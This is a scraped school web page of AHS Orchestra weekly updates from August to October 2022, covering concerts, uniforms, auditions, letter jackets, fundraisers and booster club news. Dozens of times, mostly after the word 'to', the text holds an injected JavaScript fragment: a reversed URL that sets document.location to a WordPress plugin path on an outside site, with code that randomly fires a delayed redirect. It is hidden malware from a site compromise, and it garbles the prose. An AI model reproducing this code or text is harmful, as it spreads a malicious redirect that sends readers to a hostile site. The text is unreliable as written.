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AHS ORCHESTRA UPDATE – 10.03.2022

Please visit our website: www.ahsorchestra.com and see the many resources, links, and information it provides you about the AHS Orchestra program!!

1. FALL CONCERT: WED, OCT 12 

2. UNIFORM CHECK/HEM

3. REGION AUDITIONS – OCT 15

4. LETTER JACKET FITTING – OCT 19

5. FUNDRAISER ALLIANCE AIR SHOW – SAT, OCT 22

6. NEED WATER & CHIP DONATIONS

1. FALL CONCERT – WED, OCT 12

Our first concert is Wednesday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 12 at 7:00 pm at the beautiful AISD Center for Visual and Performing Arts (CVPA). All AHS concerts for the next two years will be held at the CVPA while AHS is being renovated. Students will report directly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the CVPA for the concert. 

Call times are below. Call time means: dressed, tuned, and warming up at the specified time.

2. UNIFORM CHECK/HEM

Everyone has been fitted for a uniform and should have taken them home. Please hem/dart/pin clothes as needed but please DO NOT remove/cut away any material. Here is a link for how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hem. If you don’t know how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sew (I don’t either) just use safety pins instead of straight pins. https://www.youtube.com/watch?v=P02Mne95-s8

3.  REGION AUDITIONS – OCT 15

Region Auditions are Saturday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 15 at Seguin High School. Audition times will be announced shortly. 

4. LETTER JACKET FITTING – OCT 19

Letter Jacket fittings are on Wed, Oct 19 at 3:00 pm in the orchestra room 

To letter in Orchestra and have the opportunity toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a letter jacket you must fulfill one of the following requirements:

● Be a member of the Symphony Orchestra (Varsity)

● Be an Orchestra officer for two years

● Audition and make one of the Region Orchestras

Regardless of the method above, If you earn a position in the Region Full Orchestra, the booster club will purchase your

letter jacket.

5. FUNDRAISER ALLIANCE AIR SHOW – SAT, OCT 22

Alliance Air Show is one of our big fundraisers of the year. We run concessions for two booths at the Air Show at Alliance Airport in north Fort Worth. Please sign up here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to volunteer for a shift. WE ARE IN NEED OF ADULTS, MOSTLY with some spots for students. Thank you for your help. 

Students on lesson scholarships or who wish toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be considered frio trip/seniors scholarships must have a parent, guardian, family member or friend volunteer at all fundraisers. These fundraisers are where we earn money for all our scholarships. 

6. NEED WATER & CHIP DONATIONSWe go through a lot of water and chips for our various events. If you can donate a case/box, we would really appreciate it.  Sign up here and have your student bring it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the orchestra room when they come toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to school. Thank you!

AHS ORCHESTRA UPDATE – 09.24.2022

Please visit our website: www.ahsorchestra.com and see the many resources, links, and information it provides you about the AHS Orchestra program!!

1. FIRST BOOSTER CLUB MEETING – TUES, SEP 27

2. REQUIRED ORCHESTRA MATERIALS – DUE MONDAY

3. LAST CHANCE – PROGRAM AD SALES – DUE MONDAY

4. FALL CONCERT: WED, OCT 12 

5. ORCH BOOSTER CLUB LOOKING FOR NEW MEMBERS

6. UNIFORM CHECK/HEM

1. FIRST BOOSTER CLUB MEETING – TUES, SEP 27

Our first Booster Club meeting will be held on Tuesday, September 27 at 7:00 pm in the Orchestra Room. This is such an important organization for our orchestra program. When everyone pitches in things go so much faster! Please park in the lot by the baseball fields and come in the back door. 

2. REQUIRED ORCHESTRA MATERIALS – NO MORE LOANERS

It is imperative that students have all their materials by Monday. We will no longer be issuing loaner materials. 

Every student, whether they own or rent an instrument, must have the following materials:

  • Shoulder Rest (for 4/4 size for violin OR 15-16 inch size viola)
  • Rosin 
    • Sherman, D’Addario, Bernadel, Kaplan, Pirastro, Magic, or Hidersine brand recommended for VIOLIN, VIOLA, and CELLO
    • Nyman, Kolstein, Pops, or Carlsson brand recommended for BASS
  • Music Stand for home practice (foldable or not)
  • Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool of appropriate height for home practice (for BASS)

3.  LAST CHANCE – PROGRAM AD SALES 

We have a few mParents wishing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a Shout-Out for their student or advertise their business in our concert program may do so by submitting the Ad Sales Program form found on our Orchestra Website.  All money and forms must be turned in no later than September 16.  Each advertisement purchased also includes a complimentary listing on our orchestra website and weekly update, and will be featured in PowerPoint format before each major concert.  Please contact Mrs. Mour at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:smour@aisd.net”>smour@aisd.net if you are interested in purchasing an ad space. 

4. FALL CONCERT – WED, OCT 12

Mark your calendars. Our first concert is Wednesday, Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 12 at 7:00 pm at the beautiful AISD Center for Visual and Performing Arts (CVPA). Students will report directly toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the CVPA for the concert. Call times will be announced soon. All AHS concerts for the next two years will be held at the CVPA while AHS is being renovated. 

5. ORCH BOOSTER CLUB LOOKING FOR NEW MEMBERS

The Orchestra Booster Club is looking for new members for general membership and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fill leadership positions for the 2022-2023 school year. The Booster club members work toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put on events for our orchestra students. Please contact Dr. Chapman at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:kchapman@aisd.net”>kchapman@aisd.net if you are interested in helping. 

6. UNIFORM CHECK/HEM

Everyone has been fitted for a uniform and should have taken them home. Please hem/dart/pin clothes as needed but please DO NOT remove/cut away any material. Here is a link for how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hem. If you don’t know how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sew (I don’t either) just use safety pins instead of straight pins. https://www.youtube.com/watch?v=P02Mne95-s8

AHS Orchestra Update – 08.26.22

1. REQUIRED PARENT MEETING – WED, AUG 31

2. HONORS CREDIT APPLICATIONS DUE MON, AUG 29

3. OFFICER MEETING – TUES, AUG 30

4. REQUIRED ORCHESTRA MATERIALS 

5. PRIVATE INSTRUMENT RENTAL UPGRADES

6. ORCH BOOSTER CLUB LOOKING FOR NEW MEMBERS

7. PROGRAM AD SALES BEGIN – DUE SEPT. 16


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1. REQUIRED PARENT MEETING – WED, AUG 

The Orchestra Required Parent Meeting is Wednesday, August 31, 2022 from 7:00 – 8:00 pm. All students must attend accompanied by  one parent/guardian; please no older siblings. We will discuss all protoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocols, procedures, and events in addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to providing you copies of the Orchestra Handbook and Forms. 

2. HONORS CREDIT APPLICATIONS DUE MON, AUG 29

10-12 grade students may choose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to receive Honor Credit for Orchestra through completion of extra assignments, projects, etc. This has the potential toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to increase their GPA and move them higher in class rank. Students interested in receiving Honor Credit must submit the Honors Credit Application toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Dr. Chapman on Monday, August 29 no later than 3:30 pm.  

3. OFFICER MEETING – TUES, AUG 30

We will have an Orchestra Officer meeting on Tuesday, August 30 during lunch in the Orchestra Room.

4. REQUIRED ORCHESTRA MATERIALS

Every student, whether they own or rent an instrument, must have the following materials:

  • Shoulder Rest (for 4/4 size for violin OR 15-16 inch size viola)
  • Rosin 
    • Sherman, D’Addario, Bernadel, Kaplan, Pirastro, Magic, or Hidersine brand recommended for VIOLIN, VIOLA, and CELLO
    • Nyman, Kolstein, Pops, or Carlsson brand recommended for BASS
  • Music Stand for home practice (foldable or not)
  • Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tool of appropriate height for home practice (for BASS)

5. PRIVATE INSTRUMENT RENTAL UPGRADES

If you began a rental contract while your child was in Junior High or Elementary, many times the rental company will start you off with a beginner instrument that is sturdier and can withstand “treatment” by younger children.  As your child moves on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to high school or progresses in high school, we highly recommend that you revisit your rental company for a step-up instrument (including a step-up bow and case) that will perform with a more mature sound and facilitate advanced skill development.  Size should be reconsidered as well, especially for viola, cello and bass players.  If you’d like help navigating this process, please reach out toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Mrs. Mour at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:smour@aisd.net”>smour@aisd.net

6. ORCH BOOSTER CLUB LOOKING FOR NEW MEMBERS

The Orchestra Booster Club is looking for new members for general membership and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fill leadership positions for the 2022-2023 school year. The Booster club members work toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put on events for our orchestra students. Please contact Dr. Chapman at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:kchapman@aisd.net”>kchapman@aisd.net if you are interested in helping. 

7. PROGRAM AD SALES BEGIN – DUE SEPT. 16

Parents wishing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a Shout-Out for their student or advertise their business in our concert program may do so by submitting the Ad Sales Program form found on our Orchestra Website.  All money and forms must be turned in no later than September 16.  Each advertisement purchased also includes a complimentary listing on our orchestra website and weekly update, and will be featured in PowerPoint format before each major concert.  Please contact Mrs. Mour at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:smour@aisd.net”>smour@aisd.net if you are interested in purchasing an ad space.